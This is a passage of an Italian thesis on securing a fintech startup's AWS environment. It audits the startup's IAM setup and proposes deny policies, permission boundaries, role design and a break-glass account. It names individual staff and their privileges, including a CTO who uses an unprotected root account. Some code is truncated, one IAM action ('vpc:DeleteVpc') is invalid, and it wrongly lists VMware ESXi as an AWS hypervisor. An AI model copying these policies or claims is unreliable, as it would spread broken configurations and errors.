- **Infrastruttura Globale:** AWS opera attraverso una rete mondiale di **Regioni**. Ogni Regione è un'area geografica fisica separata (es. Irlanda, Francoforte, Nord Virginia). All'interno di ciascuna Regione, esistono multiple **Zone di Disponibilità (Availability Zones - AZ)**. Una AZ è costituita da uno o più

data center discreti, con alimentazione, raffreddamento e rete ridondati. Le AZ all'interno di una Regione sono interconnesse con reti a bassa latenza ma sono fisicamente separate per garantire l'isolamento in caso di guasti (incendi, allagamenti, etc.). Questa architettura permette di costruire applicazioni altamente disponibili e tolleranti ai guasti distribuendole su più AZ.

- **Servizi Fondamentali:** AWS offre centinaia di servizi, ma alcuni sono considerati fondamentali:
  - **Compute:** Servizi per eseguire codice, come *Amazon EC2 (Elastic Compute Cloud)* per macchine virtuali scalabili, *AWS Lambda* per l'esecuzione di codice serverless (senza gestire server), e servizi container come *ECS* ed *EKS*.
  - **Storage:** Servizi per l'archiviazione dei dati, come *Amazon S3 (Simple Storage Service)* per lo storage a oggetti altamente duraturo e scalabile, *Amazon EBS (Elastic Block Store)* per volumi a blocchi per le istanze EC2, e *Amazon EFS* per file system condivisi.
  - **Database:** Una vasta gamma di database gestiti, inclusi database relazionali (*Amazon RDS*), NoSQL (*Amazon DynamoDB*), data warehouse (*Amazon Redshift*), ecc.
  - **Networking:** Servizi per definire e controllare la rete virtuale, come *Amazon VPC (Virtual Private Cloud)* per creare reti isolate, *Elastic Load Balancing (ELB)* per distribuire il traffico, e *AWS Direct Connect* per connessioni dedicate.
  - **Security, Identity, & Compliance:** Servizi per gestire accessi, sicurezza e conformità, come *AWS IAM (Identity and Access Management)*, *AWS KMS (Key Management Service)*, *AWS WAF (Web Application Firewall)*, *Amazon GuardDuty* (rilevamento minacce).
- **Modello Pay-as-you-go:** Come accennato, si paga solo per le risorse effettivamente consumate, senza contratti a lungo termine o costi iniziali (per la maggior parte dei servizi).
- **Modello di Responsabilità Condivisa (Shared Responsibility Model)**:** È cruciale capire che la sicurezza su AWS è una responsabilità condivisa. AWS è responsabile della sicurezza *del* cloud (l'infrastruttura fisica, la rete, l'hypervisor), mentre il cliente è responsabile della sicurezza *nel* cloud (la configurazione dei servizi, la gestione degli accessi, la protezione dei dati, la sicurezza del sistema operativo e delle applicazioni).

2.5 Il Caso Specifico: AWS per la Startup Fintech

La scelta di AWS come infrastruttura cloud per la startup fintech oggetto di questa tesi non è casuale. Oltre ai vantaggi generali del cloud, AWS offre caratteristiche particolarmente rilevanti per il settore finanziario:

- **Maturità e Affidabilità:** Essendo il provider più longevo e diffuso, AWS ha una comprovata esperienza nella gestione di carichi di lavoro critici.
- **Ampiezza dei Servizi:** Il vasto portafoglio permette di costruire architetture complesse e moderne, integrando facilmente servizi per l'analisi dei dati, il machine learning (utile per antifrode o scoring), e la gestione sicura delle transazioni.
- **Supporto alla Compliance:** AWS offre documentazione e servizi che aiutano a soddisfare rigorosi standard di conformità richiesti nel settore finanziario, come PCI DSS, GDPR, ISO 27001, ecc. AWS stessa mantiene numerose certificazioni per la propria infrastruttura.
- **Scalabilità e Performance:** Fondamentali per gestire picchi di transazioni tipici dei servizi finanziari.
- **Ecosistema di Partner:** Esiste un vasto ecosistema di partner tecnologici e di consulenza specializzati su AWS, inclusi quelli con expertise nel settore fintech.
- **Servizi di Sicurezza Avanzati:** AWS offre un set robusto di strumenti nativi per implementare controlli di sicurezza a vari livelli (rete, identità, dati, rilevamento minacce), come vedremo nei capitoli successivi.

Nei capitoli seguenti, analizzeremo come l'infrastruttura di questa startup fintech è stata costruita e protetta utilizzando specifici servizi e best practice di AWS.

2.6 Infrastruttura Globale AWS

Amazon Web Services (AWS) dispone di una infrastruttura globale altamente distribuita: ad oggi il cloud AWS è esteso su 36 Regioni geografiche (ciascuna costituita da più Availability Zone) per un totale di 114 Availability Zones lanciate [18]. Ogni Regione AWS rappresenta un'area geografica distinta, isolata dalle altre (per *fault tolerance* e requisiti regolamentari) [18]. All'interno di ogni Regione sono presenti almeno tre *Availability Zone (AZ)*: queste sono sedi fisiche indipendenti, collegate da rete privata ad alta velocità ma isolate a livello di infrastruttura di alimentazione e raffreddamento [18].

Questo design *multi-AZ* consente la progettazione di applicazioni ad alta disponibilità: infatti ogni AZ è progettata per sopravvivere a guasti localizzati, e le Regioni tra di loro non condividono componenti critici [18]. Secondo AWS, ciò garantisce la "massima disponibilità dell'infrastruttura" e contiene ogni interruzione entro la Regione interessata [18].

Per supportare applicazioni globali a bassa latenza, AWS integra inoltre *Edge Location* e *Local Zone*. Le Edge Location (oltre 700 nel mondo) sono data center che ospitano servizi come Amazon CloudFront (content delivery network) per consegna rapida di contenuti agli utenti finali. CloudFront instrada le richieste al punto di presenza (edge) più vicino all'utente, minimizzando la latenza [19]. Le Local Zone sono infrastrutture AWS supplementari posizionate vicino a grandi centri urbani per offrire latenze ancora inferiori in scenari specifici (ad esempio streaming multimediale, gaming o applicazioni IoT ad alte prestazioni).

Il backbone di rete globale AWS è basato su una dorsale in fibra ottica ridondata a 400 Gb/s fra Regioni [20]. Tutti i dati che transitano sulla rete AWS globale fra datacenter e Regioni vengono crittografati a livello fisico [20], e il cliente mantiene il pieno controllo sui dati (inclusa la facoltà di cifrarli ulteriormente con servizi dedicati). Questa architettura di rete ad alte prestazioni garantisce bassa latenza e alta capacità di trasferimento; AWS sottolinea come sia possibile dispiegare centinaia di server in pochi minuti in qualsiasi zona [20].

Dal punto di vista della finanza in ambito fintech, una infrastruttura così distribuita offre vantaggi concreti: il collocamento geografico delle risorse permette di posizionare applicazioni vicine ai propri utenti (per rispettare requisiti di low latency o normativi, ad esempio GDPR), mentre l'ampia rete backbone protegge le comunicazioni inter-regionali. Le edge location, infine, possono accelerare servizi Web o API rivolti ai clienti connettendo gli utenti finali direttamente alla CDN di AWS [19].

2.7 Architettura Virtualizzata e Meccanismi di Scalabilità

Le risorse AWS sono erogate tramite tecnologie di *virtualizzazione*: su ogni host fisico (server hardware) viene eseguito un *hypervisor* (monitor di macchine virtuali) che crea molteplici istanze virtuali isolate fra loro. In AWS, la virtualizzazione consente di far girare su un singolo server fisico decine di VM indipendenti, ciascuna con il proprio sistema operativo e applicazioni [16]. L'hypervisor (ad esempio il VMware ESXi o il più recente AWS Nitro Hypervisor [21]) assegna a ogni VM una porzione di CPU, memoria e storage, garantendo che ogni istanza sia isolata dalle altre [16].

Grazie alla virtualizzazione, più tenant (clienti) possono condividere lo stesso hardware fisico in modalità sicura: questo è il concetto di *multitenancy*, ossia architettura

in cui più clienti di un cloud utilizzano le stesse risorse sottostanti senza interferire fra loro [13]. In pratica, anche in un modello multitenant come AWS, ogni cliente vede solo il proprio ambiente virtuale e i propri dati, mentre la separazione fra clienti è garantita da politiche di isolamento di rete e dal software di virtualizzazione [13].

La virtualizzazione è il fulcro dell'architettura IaaS di AWS: come illustrato nell'architettura generale, AWS gestisce l'infrastruttura fisica sottostante (patching hardware, networking, data center), mentre il cliente mantiene il controllo sull'operating system, gli aggiornamenti software e le configurazioni di sicurezza del proprio ambiente virtuale [22]. Ad esempio, se si lancia un'istanza EC2 (IaaS), AWS fornisce la macchina virtuale, ma il cliente deve gestirne il SO e le patch. Questo rende possibile far convivere e scalare migliaia di istanze virtuali senza intervento manuale massivo.

Scalabilità verticale e *orizzontale* sono i principali meccanismi per gestire la crescita del carico di lavoro.

- La **scalabilità verticale** consiste nell'aumentare le risorse di una singola macchina (es. passare a CPU/RAM/dischi più potenti) per gestire carichi maggiori [14]. Questo è utile finché l'istanza ha risorse disponibili, ma presenta limiti fisici e rischia di diventare *single point of failure*.

- Invece, la **scalabilità orizzontale** significa replicare l'applicazione su più macchine o nodi [14]. Ad esempio, si possono avviare più istanze EC2 identiche alle spalle di un bilanciatore di carico. In questo modo il traffico utente viene distribuito fra le VM (middleware come Elastic Load Balancer gestiscono questo compito) ed è possibile tollerare guasti individuali: in caso di crash di un server, le altre istanze restanti continuano a servire richieste. AWS supporta direttamente questi schemi, ad esempio tramite gruppi di auto-scaling che creano o cancellano VM in base a metriche di utilizzo [23].

Per massimizzare la disponibilità delle applicazioni, in AWS si usano repliche *multi-AZ*. Ad esempio, Amazon RDS consente di creare DB Multi-AZ: quando abilitata, AWS provisiona automaticamente una replica sincrona standby in una AZ diversa [24]. Tutte le modifiche al database primario vengono replicate in tempo reale alla standby. In caso di guasto del nodo primario, RDS effettua un *failover* trasparente alla replica, minimizzando i tempi di down. Similmente, servizi come Elastic Load Balancer possono essere distribuiti su più AZ, in modo che un'interruzione locale sia compensata dagli altri nodi. Le scelte architetturali per l'alta disponibilità includono quindi l'uso sistematico di multi-AZ, il bilanciamento del carico e la replica dei dati (eventualmente su più Regioni per il *disaster recovery*).

Nei casi estremi di disastro (es. perdita di un'intera Regione), AWS distingue diverse strategie di *Disaster Recovery* [22]. Ad esempio:

- il *backup/restore* usa semplicemente snapshot periodici (sfruttando ad es. S3/Glacier) e prevede di ricreare le infrastrutture su una Regione secondaria.

- Strategie più avanzate includono il *pilot light* (mantenere una copia minima dell'infrastruttura e dati critici in replica) o il *warm standby* (versione ridotta attiva in attesa del failover).
- Infine, il modello *multi-site active/active* prevede applicazioni già dispiegate simultaneamente in due Regioni, con bilanciamento geografico del traffico.

AWS fornisce strumenti e best practice per testare regolarmente queste strategie (per esempio tramite AWS Resilience Hub [25]) e garantire che i tempi di recovery (RTO/RPO) rientrino nei requisiti di business.

2.8 Modello di Responsabilità Condivisa

La sicurezza nel cloud AWS segue il *modello di responsabilità condivisa* [26]. In sintesi, AWS garantisce la *sicurezza dell'infrastruttura ("security of the cloud")*: hardware fisico, reti, sistemi operativi dei servizi gestiti, data center e controlli fisici/ambientali sono a carico di AWS [26]. L'azienda investe in sorveglianza 24/7, verifica di controllo degli accessi alle strutture e patching dell'infrastruttura sottostante [26].

Dal canto suo, il cliente è responsabile della *sicurezza nel cloud ("security in the cloud")*: ossia della configurazione e gestione di ciò che risiede sopra l'infrastruttura AWS [26]. Ad esempio, per un'istanza EC2 (IaaS) il cliente deve gestire il sistema operativo guest, le patch di sicurezza, il software applicativo e la configurazione del firewall virtuale (Security Group) [26]. Per servizi più astratti come S3 o DynamoDB, AWS cura l'infrastruttura e il software di base, ma spetta al cliente proteggere i dati che carica: ciò include impostare permessi di accesso (tramite IAM), cifrare dati sensibili e applicare criteri di rete appropriati [26]. In pratica, AWS fornisce i mezzi di sicurezza (crittografia a riposo, networking isolato, log auditing, ecc.), ma l'operatività della sicurezza applicativa e dei dati è a carico del cliente.

Capitolo 3

Implementazioni Pratiche su AWS per una Startup Fintech

Avendo stabilito i principi del cloud computing e le ragioni della scelta di AWS, questo capitolo si addentra negli aspetti pratici dell'implementazione di un'infrastruttura sicura e scalabile su AWS per una startup fintech. Verranno presentati esempi concreti di configurazioni e utilizzi dei servizi AWS, focalizzandosi sulle best practice di sicurezza applicabili in un contesto con risorse limitate ma requisiti elevati, tipico di una startup nel settore finanziario.

3.1 Implementazione attuale dell'infrastruttura AWS

L'infrastruttura AWS attualmente in uso è composta da una serie di servizi fondamentali per il funzionamento della piattaforma fintech. Tra i servizi abilitati figurano AWS Glue per l'integrazione e la trasformazione dei dati, AWS Key Management Service per la gestione delle chiavi di cifratura, e AWS Secrets Manager per la conservazione sicura delle credenziali applicative. L'elaborazione computazionale è affidata a istanze EC2, sia tramite il servizio "EC2 – Other" che "Amazon Elastic Compute Cloud – Compute", mentre la distribuzione del traffico e l'alta disponibilità sono garantite da Amazon Elastic Load Balancing.

Per la gestione della localizzazione e dei dati geografici viene utilizzato Amazon Location Service. I dati applicativi sono gestiti tramite Amazon Relational Database Service (RDS), mentre la comunicazione asincrona tra componenti avviene tramite Amazon Simple Notification Service (SNS) e Amazon Simple Queue Service (SQS). Lo storage oggetti è affidato ad Amazon Simple Storage Service (S3), e la rete privata virtuale è gestita tramite Amazon Virtual Private Cloud (VPC). Il monitoraggio e la raccolta delle metriche sono implementati con Amazon CloudWatch. Infine, sono

abilitati anche servizi accessori come “Tax” per la gestione della fatturazione e degli aspetti fiscali.

Questa configurazione riflette una tipica architettura cloud moderna, orientata alla scalabilità, alla sicurezza e alla separazione dei compiti tra i vari servizi AWS.

3.2 Implementazione del Modello Zero Trust e del Principio del Minimo Privilegio

Come introdotto nella sezione 1.3, il modello **Zero Trust** rappresenta un cambiamento paradigmatico rispetto alla sicurezza tradizionale basata sul perimetro. Anziché assumere fiducia implicita per le entità all'interno della rete aziendale, il principio cardine è "non fidarsi mai, verificare sempre" (*never trust, always verify*). Ogni richiesta di accesso a una risorsa, indipendentemente dalla sua origine, deve essere esplicitamente autenticata, autorizzata e monitorata. Questo approccio mira a minimizzare la superficie d'attacco e a contenere l'impatto di eventuali compromissioni, risultando particolarmente critico per proteggere la *business continuity* aziendale. Ritengo che l'adozione di questo principio sia particolarmente rilevante nel contesto delle startup, caratterizzate da ambienti operativi dinamici e altamente flessibili. Le startup presentano peculiarità che amplificano l'esigenza di un solido framework di sicurezza:

- **Instabilità relazionale:** Le relazioni professionali nelle startup possono deteriorarsi rapidamente, sia a livello dirigenziale che operativo. Secondo un'analisi di CB Insights, i conflitti interni tra fondatori rappresentano una delle principali cause di fallimento delle startup, incidendo per circa il 13% dei casi esaminati [27].
- **Rischio di attacchi interni:** La fragilità dei rapporti aumenta la probabilità di attacchi da parte di ex-collaboratori con intenti vendicativi. Secondo il "2023 Data Breach Investigations Report" di Verizon, circa il 20% delle violazioni di dati coinvolge insider con accessi privilegiati [28].
- **Infrastrutture di sicurezza inadeguate:** Le startup, per limitazioni di risorse e focus prevalente sullo sviluppo del prodotto, spesso non dispongono di infrastrutture di sicurezza robuste. Un rapporto di Ponemon Institute evidenzia che le piccole organizzazioni hanno una probabilità tre volte maggiore di subire attacchi informatici rispetto alle grandi imprese, proprio a causa di investimenti insufficienti in sicurezza [29].

Questa sezione illustra come i principi Zero Trust possano essere tradotti in misure di sicurezza concrete all'interno dell'infrastruttura cloud di una startup, con specifico

riferimento all'ambiente AWS. Ci concentreremo in particolare sulla gestione delle identità e degli accessi, un pilastro fondamentale per qualsiasi architettura Zero Trust, e sulla sua stretta interconnessione con il **Principio del Minimo Privilegio (Principle of Least Privilege - PoLP)**.

3.2.1 Gestione delle Identità e degli Accessi (IAM) come Pilastro di Zero Trust in AWS

L'infrastruttura ospitata su un Cloud Service Provider (CSP) come AWS è un asset critico per una startup fintech. Essa contiene dati sensibili degli utenti e ospita i servizi essenziali (endpoint API, istanze EC2 per server applicativi, networking VPC, ecc.) che ne garantiscono l'operatività. La protezione di queste risorse inizia dalla gestione rigorosa di chi può accedervi e cosa può fare. **AWS Identity and Access Management (IAM)** è il servizio centrale per implementare questi controlli e costituisce una base imprescindibile per un modello Zero Trust.

Una delle prime e più critiche aree di intervento riguarda l' **account root di AWS**. Questo account possiede privilegi illimitati sull'intero ambiente AWS e rappresenta, di conseguenza, un obiettivo di altissimo valore per gli attaccanti e una fonte significativa di rischio operativo se usato impropriamente. Un'implementazione Zero Trust richiede misure stringenti per l'account root:

- **Limitazione Estrema dell'Uso:** L'accesso come utente root deve essere evitato per le operazioni quotidiane e riservato esclusivamente a quelle poche attività che lo richiedono obbligatoriamente (es. modifica delle informazioni di fatturazione, chiusura dell'account, modifica dei piani di supporto).
- **Protezione Robusta delle Credenziali:** La password deve essere estremamente complessa e, soprattutto, l'**Autenticazione a Più Fattori (MFA)** deve essere *sempre* abilitata e richiesta per l'accesso root.
- **Monitoraggio Continuo:** Ogni azione eseguita tramite l'account root deve essere tracciata e monitorata tramite servizi come AWS CloudTrail, generando allarmi per qualsiasi utilizzo.

Per le attività amministrative e operative ordinarie, il modello Zero Trust impone l'utilizzo di **utenti e ruoli IAM** configurati secondo il **Principio del Minimo Privilegio (PoLP)**. Come descritto nella sezione 1.3, questo principio stabilisce che a un'entità (utente, servizio, applicazione) debbano essere concesse *esclusivamente* le autorizzazioni minime indispensabili per svolgere le proprie funzioni legittime, e non un permesso di più. Ad esempio, un'applicazione che necessita solo di leggere oggetti da un bucket S3 dovrebbe avere un ruolo IAM con solo il permesso

's3:GetObject' su quel bucket specifico, invece di permessi generici su S3 o, peggio, permessi amministrativi.

Sinergia tra Principio del Minimo Privilegio (PoLP) e Zero Trust

Il Principio del Minimo Privilegio non è solo una buona pratica di sicurezza a sé stante, ma è intrinsecamente legato e **fondamentale per il successo di un'architettura Zero Trust**. La loro sinergia si manifesta in diversi modi:

- **Riduzione della Superficie d'Attacco:** Limitando strettamente le azioni consentite a ciascuna identità, PoLP riduce l'insieme delle operazioni che un attaccante potrebbe eseguire anche riuscendo a compromettere le credenziali di quell'identità. La verifica dell'identità (Zero Trust) è necessaria ma non sufficiente; i privilegi limitati (PoLP) ne circoscrivono le capacità.
- **Limitazione del Raggio d'Esplosione (*Blast Radius*)**:** In caso di compromissione o errore, i danni potenziali sono confinati. Un utente o servizio con privilegi minimi non può accedere o modificare risorse al di fuori del suo ambito operativo ristretto, limitando il movimento laterale dell'attaccante e l'impatto dell'incidente.
- **Applicazione della Verifica Esplicita:** Implementare PoLP costringe a definire policy di accesso granulari e intenzionali, basate sulle reali necessità operative. Questo si allinea perfettamente con la richiesta di Zero Trust di basare ogni decisione di accesso su policy esplicite e dinamiche, piuttosto che su autorizzazioni ampie o ereditate implicitamente.
- **Miglioramento del Controllo e dell'Auditabilità:** Policy di accesso minimali e specifiche sono più facili da comprendere, gestire e verificare. Ciò semplifica l'audit della postura di sicurezza e la dimostrazione della conformità, permettendo di attestare che gli accessi sono effettivamente limitati come richiesto dal modello Zero Trust.

3.3 Analisi dell'attuale implementazione di IAM

3.3.1 Configurazione degli Utenti e Ruoli

L'analisi della struttura IAM esistente rivela la presenza di tre utenti principali: **Andrea Pasini** (CTO), **Andrea Ferraboli**, e **Matteo Giuntoni**. Entrambi gli utenti Ferraboli e Giuntoni dispongono della policy 'AdministratorAccess', concedendo privilegi equivalenti a quelli dell'account root. L'utente Pasini, invece, opera direttamente

come root, con la capacità di modificare o eliminare qualsiasi risorsa AWS senza restrizioni. Questa configurazione viola il **principio del minimo privilegio (PoLP)** e il principio di **zero trust**, esponendo l'infrastruttura a rischi di errore umano o attacchi interni[30].

Un esame dettagliato delle policy associate mostra l'assenza di **condizioni contestuali** (es. limitazioni geografiche o orarie) e l'utilizzo esclusivo di policy gestite da AWS, senza personalizzazioni per ridurre i permessi alle effettive necessità operative[31]. Ad esempio, l'utente 'finanz-backend' possiede 'AmazonS3FullAccess', sebbene le sue funzioni richiedano solo operazioni di lettura su bucket specifici.

3.3.2 Criticità Identificate

1. **Account Root Non Protetto**: L'account root non utilizza MFA hardware, affidandosi esclusivamente a credenziali statiche[32]. Ciò espone a rischi di compromissione tramite phishing o credential stuffing. 2. **Privilegi Eccessivi per Utenti IAM**: L'assegnazione indiscriminata di 'AdministratorAccess' a utenti non root crea superfici di attacco ridondanti. L'utente Pasini, in qualità di root, può eludere qualsiasi restrizione applicata tramite policy IAM[33]. 3. **Mancanza di Meccanismi di Emergenza**: Non sono presenti account "break glass" per il ripristino dell'accesso in scenari di compromissione dell'IdP o lockout accidentale[34]. 4. **Assenza di Monitoring Granulare**: Le policy non integrano logiche di auditing in tempo reale per azioni critiche (es. terminazione di istanze EC2 o modifiche alle regole di sicurezza)[35].

3.3.3 Violazioni delle Best Practice AWS

L'implementazione corrente confligge con multiple raccomandazioni del framework **AWS Foundational Security Best Practices**:

- **FSBP IAM-1**: Mancanza di MFA hardware per il root[32]. - **FSBP IAM-7**: Policy con privilegi non limitati al minimo necessario[30]. - **FSBP IAM-8**: Assenza di allineamento tra ruoli IAM e responsabilità organizzative[33].

3.4 Implementazione delle Migliorie Proposte alla Gestione IAM

In questa sezione vengono dettagliate le strategie operative per rafforzare la sicurezza dell'ambiente AWS, basate sulle proposte di miglioramento precedentemente delineate. L'obiettivo è implementare controlli robusti seguendo il principio del minimo privilegio (*least privilege*) e le migliori pratiche di settore.

3.4.1 Ristrutturazione della Gerarchia degli Accessi

Una gestione sicura parte dalla protezione dell'account root e dalla segmentazione granulare dei permessi.

Revisione e Limitazione dell'Account Root

L'account root possiede privilegi illimitati e il suo utilizzo deve essere strettamente confinato ad operazioni specifiche che lo richiedono esplicitamente [36].

1. **Creazione di un Utente Amministrativo Dedicato**: L'utente Andrea Pasini verrà rimosso dall'accesso diretto come utente root. Verrà creato un utente IAM dedicato (es. 'andrea.pasini') associato a un ruolo amministrativo con permessi circoscritti (es. 'CTO-AdminRole'). Questo ruolo dovrebbe garantire visibilità sull'infrastruttura ma limitare modifiche critiche, specialmente in produzione.

2. **Policy di Restrizione per il Ruolo Amministrativo**: Al ruolo 'CTO-AdminRole' verrà associata una policy IAM che neghi esplicitamente azioni distruttive su risorse critiche taggate come «produzione». Un esempio di statement di negazione (`Deny`) è il seguente:

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyProdResourceDeletion",
      "Effect": "Deny",
      "Action": [
        "ec2:TerminateInstances",
        "rds:DeleteDBInstance",
        "s3:DeleteBucket",
        "vpc:DeleteVpc"
      ],
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "aws:ResourceTag/Environment": "prod"
        }
      }
    }
  ]
}

```

Listing 3.1: Policy IAM per negare eliminazioni in produzione

Questo approccio implementa un controllo preventivo fondamentale [37].

3. **Abilitazione MFA Hardware per l'Account Root**: L'account root deve essere protetto con un dispositivo Multi-Factor Authentication (MFA) hardware (es. YubiKey), come raccomandato dalle best practice di sicurezza AWS [38]. Tale dispositivo sarà custodito fisicamente dal CEO o in una cassetta di sicurezza designata. Qualsiasi accesso all'account root richiederà l'uso fisico del token [39].

Segmentazione dei Ruoli tramite Permission Boundaries

Per prevenire l'escalation involontaria o malevola dei privilegi, verranno implementate le *permission boundaries* su tutti i ruoli IAM, inclusi quelli amministrativi. Un boundary definisce il perimetro massimo delle azioni consentite, indipendentemente dalle policy di autorizzazione associate all'entità [37].

- **Definizione del Boundary**: Un esempio di boundary potrebbe limitare le azioni a specifici servizi o a sole operazioni di lettura, garantendo che anche ruoli con policy ampie (come 'AdministratorAccess', sebbene sconsigliato) non possano eccedere i limiti imposti.

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowOnlySpecificServices",
      "Effect": "Allow",
      "Action": [
        "ec2:*",
        "rds:*",
        "s3:List*",
        "iam:List*",
        "cloudwatch:Describe*",
        "lambda:*"
      ],
      "Resource": "*"
    },
    {
       "Sid": "DenyIAMModificationOutsideBoundary",
       "Effect": "Deny",
```

```
        "Action": [
           "iam:AttachUserPolicy",
           "iam:AttachRolePolicy",
           "iam:PutUserPolicy",
           "iam:PutRolePolicy",
           "iam:CreatePolicy",
           "iam:CreatePolicyVersion",
           "iam:SetDefaultPolicyVersion",
           "iam:DeletePolicy",
           "iam:DeletePolicyVersion",
           "iam:DetachUserPolicy",
           "iam:DetachRolePolicy"
         ],
         "Resource": "*",
         "Condition": {
            "StringNotLike": {
               "iam:PermissionsBoundary": "arn:aws:iam
    ::123456789012:policy/YourBoundaryPolicyName"
            }
         }
     }
  ]
}

```

Listing 3.2: Esempio di Permission Boundary restrittiva

- **Applicazione Sistematica**: Ogni nuovo ruolo IAM creato dovrà avere un boundary associato come prerequisito.

3.4.2 Modello Ibrido Aggiornato

Il modello di *Identity & Access Management* (IAM) proposto per la startup fintech prevede *tre gruppi baseline*—`dev`, `backend-dev` e `admin`—ai quali vengono assegnati i permessi necessari per le attività ordinarie, e *quattro ruoli operativi circoscritti* da assumere *on-demand* via AWS STS con MFA. L'architettura riduce la *blast-radius* delle credenziali e facilita gli audit di conformità (PCI DSS, SOC-2) in linea con i principi di *least privilege* e *zero-trust* [40], [41], [42], [43].

Gruppi Baseline

`dev` Sviluppatori front-end e full-stack.

- **EC2**: avvia, interrompe e termina *solo* le istanze taggate `Environment=dev`; nessun diritto sulle istanze di produzione [44].
- **Elastic Beanstalk**: deploy e `eb deploy` negli ambienti `dev`, tramite policy gestita `AWSElasticBeanstalkFullAccess` limitata con `Condition{aws:ResourceTag/Envir`
- **S3**: lettura/scrittura nei bucket `*-dev`; accesso negato ai bucket `*-prod` [46].
- **Load Balancer**: descrizione (API `Describe*`) dei load balancer di sviluppo; nessuna modifica [47].
- **RDS**: *data-reader* su cluster Aurora `dev`; vietate operazioni `ModifyDBInstance` e `DeleteDBInstance` [48].

`backend-dev` Sviluppatori back-end con responsabilità di integrazione dati.

- Tutti i permessi del gruppo `dev`.
- **RDS**: *data-writer* su `dev`; `QueryEditor` in aurora-prod tramite policy `rds-db:connect` con tag-condition che richiede approvazione esplicita (`aws:RequestTag/ChangeId`).
- **SQS/SNS**: gestione code e topic non-prod per pipeline event-driven.
- **Secrets Manager**: lettura di segreti `scope=dev` [49].

`admin` Cloud Engineers con controllo continuo dell'infrastruttura.

- **EC2 e Auto Scaling**: piena gestione, esclusa l'eliminazione di VPC prod.
- **S3**: modifica dei lifecycle rules e delle policy di replica cross-region.
- **Elastic Load Balancing**: creazione, aggiornamento listener e target groups in tutti gli ambienti.
- **RDS**: patching, snapshot e `failover`.
- **IAM**: può creare o aggiornare policy *entro* il `permissions-boundary` globale che impedisce azioni estreme (`iam:DeleteRolePolicy`, `organizations:DeleteOrganizat` [50].

Ruoli Operativi Specifici

I ruoli sono configurati con durata massima di 1 h e MFA obbligatoria; i log CloudTrail vengono inviati a un bucket immutabile con replica cross-region.

- **`dev-privileged`** – estende `dev` per operazioni di manutenzione `non-prod` (migrate DB, tunning CPU credit); azioni limitate a risorse con tag `Environment=dev`.
- **`db-migration`** – accesso a AWS DMS e permessi `rds:ModifyDBInstance` in produzione durante le finestre di maintenance; richiede approvazione Change-Manager.
- **`incident-responder`** – abilita scaling immediato, modifica security-group, attiva `ShieldAdvanced` e `WAFv2` sulla WebACL corrente; assumento consentito al gruppo `admin`.
- **`breakglass-admin`** – superset critico conservato in account separato, utilizzato solo per *disaster-recovery*; il processo di assunzione è sigillato e monitorato da AWS Config Rules [51].

Mappatura dei Permessi per Servizio

EC2 `dev`: `Start/Stop` istanze dev; `backend-dev`: idem + `DescribeImages`; `admin`: pieno controllo, esclusa `DeleteVpc`.

Elastic Beanstalk `dev`: deploy su env dev; `backend-dev`: deploy + `eb config save`; `admin`: gestione template, gestione application-versions prod [45].

S3 `dev`: R/W bucket *-dev; `backend-dev`: aggiunge permessi `PutObjectAcl` su *log bucket*; `admin`: `PutBucketPolicy`, `PutReplicationConfiguration` [46].

Load Balancer `dev`: `Describe*`; `backend-dev`: `RegisterTargets` nei target-group dev; `admin`: `CreateLoadBalancer`, `ModifyLoadBalancerAttributes` su tutti gli ambienti [47].

RDS `dev`: `rds-db:connect` read-only dev; `backend-dev`: `ExecuteStatement` via Data API; `admin`: `CreateDBSnapshot`, `StartExportTask`, `FailoverDBCluster` [48].

L'approccio *tag-based ABAC* riduce la necessità di policy puntuali e consente un'espansione lineare degli ambienti (dev, staging, prod) [44], [47].

Motivazione per il Contesto Fintech

Le startup fintech devono coniugare rapidità di rilascio e requisiti di security-compliance (PCI DSS, PSD2, ISO 27001). Separare i privilegi comuni (gruppi) da quelli elevati (ruoli) garantisce che le *pipeline CI/CD* non abbiano necessità di credenziali amministrative permanenti—costante *pain-point* nei data-breach recenti [52]. La validità temporale delle credenziali STS e la *least-privilege right-sizing* automatizzata con Access Analyzer riducono il rischio di accessi persistenti compromessi [43], [49].

Procedimento di Implementazione

1. Definire il `permissions-boundary` globale che vieta azioni ad alto impatto (`organizations:*`, `iam:SetDefaultPolicyVersion`) [50].
2. Versionare in Git le policy dei gruppi (`iam/groups/`) e dei ruoli (`iam/roles/`) come JSON o moduli Terraform; abilitare `terraform plan` in CI.
3. Abilitare AWS Identity Center (SSO) collegato ad Okta/Azure AD e mappare gli *entitlement* sugli ARNs dei gruppi.
4. Automatizzare la *workflow approval* per i ruoli con AWS Step Functions + EventBridge + Slack.
5. Inviare i log CloudTrail a un bucket S3 con `ObjectLock = GOVERNANCE` e replica in un account differente (*security-hub*).
6. Eseguire un *access-review* trimestrale utilizzando i report di Access Analyzer per ridurre i permessi non utilizzati [43].

3.4.3 Introduzione di un Break Glass Account

Per scenari di emergenza in cui gli accessi amministrativi standard non fossero disponibili o sufficienti, verrà istituito un account *Break Glass* dedicato, seguendo le linee guida di architetture sicure [39].

1. **Configurazione Account**: Creare un nuovo account AWS all'interno dell'Organization esistente, isolato operativamente.
2. **Utente e Ruolo di Emergenza**: All'interno di questo account, creare un utente IAM (es. 'BreakGlassUser') protetto da MFA hardware e un ruolo IAM (es. 'BreakGlassAdminRole') con la policy gestita 'AdministratorAccess'. L'accesso a questo utente/ruolo sarà strettamente controllato.

3. **Procedura di Attivazione**: L'utilizzo del Break Glass Account richiederà un'approvazione formale e documentata da parte di almeno due figure chiave (es. CEO e CTO). Le credenziali (password e MFA) saranno conservate in luoghi sicuri e separati.

4. **Monitoraggio e Lockdown Automatico**: Implementare un meccanismo di notifica immediata (es. via CloudWatch Events e SNS) all'attivazione dell'account Break Glass. Un processo automatizzato (es. AWS Lambda triggerata da CloudWatch Event) potrebbe limitare la validità della sessione o restringere i permessi dopo un periodo predefinito (es. 8 ore), ad esempio applicando una policy restrittiva come boundary temporaneo.

```python
import boto3
import os

IAM_CLIENT = boto3.client('iam')
BREAK_GLASS_USERNAME = os.environ.get('BREAK_GLASS_USER')
RESTRICTIVE_POLICY_ARN =
    os.environ.get('RESTRICTIVE_POLICY_ARN') # Es:
    AWSCloudTrailReadOnlyAccess

def lambda_handler(event, context):
     if not BREAK_GLASS_USERNAME or not
    RESTRICTIVE_POLICY_ARN:
          print("Error: Environment variables not set.")
          return

     try:
          print(f"Applying restrictive boundary
    {RESTRICTIVE_POLICY_ARN} to user
    {BREAK_GLASS_USERNAME}")
